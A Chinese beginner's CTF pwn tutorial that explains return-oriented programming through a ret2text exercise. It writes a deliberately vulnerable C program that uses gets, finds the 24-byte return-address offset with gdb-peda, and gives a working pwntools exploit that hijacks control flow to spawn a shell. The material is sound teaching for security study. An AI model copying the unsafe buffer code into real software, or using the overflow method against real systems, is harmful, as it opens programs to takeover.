CTF-PWN选手入坑指南(一)
2022-9-27 00:1:12 Author: 白帽子(查看原文) 阅读量:23 收藏

ROP简述

以下是 CTF wiki 对 ROP 的描述:

随着 NX(数据不可执行) 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:

  1. 程序存在溢出,并且可以控制返回地址。

  2. 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。


说一下环境:ubuntu 1604、pwntools、gdb-peda

推荐看一下参考资料中的《ROP轻松谈》,对栈有个基本的认识,否则下面可能看不懂

接下来,编写一个简单的程序来进一步了解ROP。

编写demo

在这段代码中,存在一个栈溢出点和可get shell的函数,我们需要利用溢出点进行溢出,并设法使程序运行到get shell的函数。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}

void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}

int main(int argc, char **argv) {
vulnerable();
return 0;
}

编译demo

先从32位开始入手,编译32位程序。

在 64位 Linux 上编译32位程序,需要安装以下依赖:

sudo apt-get install build-essential module-assistant gcc-multilib g++-multilib

进行编译:

gcc -m32 -fno-stack-protector  -o demo demo.c
  1. -m32 : 编译32位程序

  2. -fno-stack-protector :关闭栈保护,即 Stack Canary

简单分析

gets函数是一个危险函数,下面是百度百科对 gets 函数的描述

gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。

程序中为s分配的长度为12,而gets函数可以无限读取,可以使用它进行溢出。

溢出的目的是控制函数返回地址,在这里需要控制 vulnerable 函数的返回地址。

详细分析

虽然程序是自己编写和编译的,但还是走一下流程。

首先查看一下程序的保护措施开启情况:

  01 checksec ./demo
[*] '/mnt/hgfs/pwn/Tide/01/demo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found <- 未开启栈保护
NX: NX enabled
PIE: No PIE (0x8048000)

未开启栈保护,存在栈溢出的可能。

简单执行一下:

  01 ./demo
sssssss
sssssss

寻找漏洞函数

使用IDA 32 打开。

在左侧的函数列表中可以看到gets函数,我们已知其是危险函数,会造成栈溢出, 其次还看到了 vulnerable 函数,

int vulnerable()
{
char s; // [esp+4h] [ebp-14h]

gets(&s);
return puts(&s);
}

寻找能打开shell的代码

首先搜索一下“/bin/sh” 

进入第一条,F5 看一下

int success()
{
puts("You Hava already controlled it.");
return system("/bin/sh");
}

看一下该函数的地址:0x0804846B,需要劫持程序控制流,使其执行到该函数。

exp构造

1.得到偏移量

接下来我们需要得到字符串起始地址和ret的偏移量,这里介绍两种方式

1.手动计算
在 vulnerable 的汇编中,可以看到

   0x804849d <vulnerable+9>:	lea    eax,[ebp-0x14]
0x80484a0 <vulnerable+12>: push eax
=> 0x80484a1 <vulnerable+13>: call 0x8048320 <[email protected]>

可以看到该字符串是对于ebp的索引,s 对于 ebp 的偏移为 0x14 ,因此对于返回地址的偏移为0x14 + 0x4 = 0x18 = 24

如果字符串基于esp的索引,可以使用gdb在 call _gets 处下断点,得到esp的值来计算字符串的地址。

2.使用 pattern 工具
首先,使用pattern生成一串字符串

gdb-peda$ pattern  create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

在gdb中,输入r,执行程序,在输入的位置粘贴上pattern生成的字符串(注意不要包含多余的符号如'和空格、换行)

Stopped reason: SIGSEGV
0x44414128 in ?? ()

内存出错的位置为:0x44414128

gdb-peda$ pattern offset 0x44414128
1145127208 found at offset: 24

基于以上得到的偏移量和success的函数地址,payload可以构造为

payload = 'a'*24 + func_success_addr

但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804846B 在内存中的形式是

\x6b\x84\x04\x08

此处使用 pwntools 来进行转换,即 p32(func_success_addr)

2.exp

from pwn import *

io = process('./demo')
func_success_addr = 0x0804846B
payload = 'a'*24 + p32(func_success_addr)
io.sendline(payload)
io.interactive()

本文到此结束,实际上该题属于 ret2text 类型,ret2text 即控制程序执行程序本身已有的的代码 (即.text段)。

jarvisoj level0 也属于此类型,可以做做,解法基本一致。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

我知道你在看


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246368&idx=2&sn=0fcf9b24d4c86418287391aa79b56f1d&chksm=82ea5749b59dde5f3c8ce31891d398bcbb22cd5cfd96a7e961d08eee1c8b222d30985b4ed3f4#rd
如有侵权请联系:admin#unsafe.sh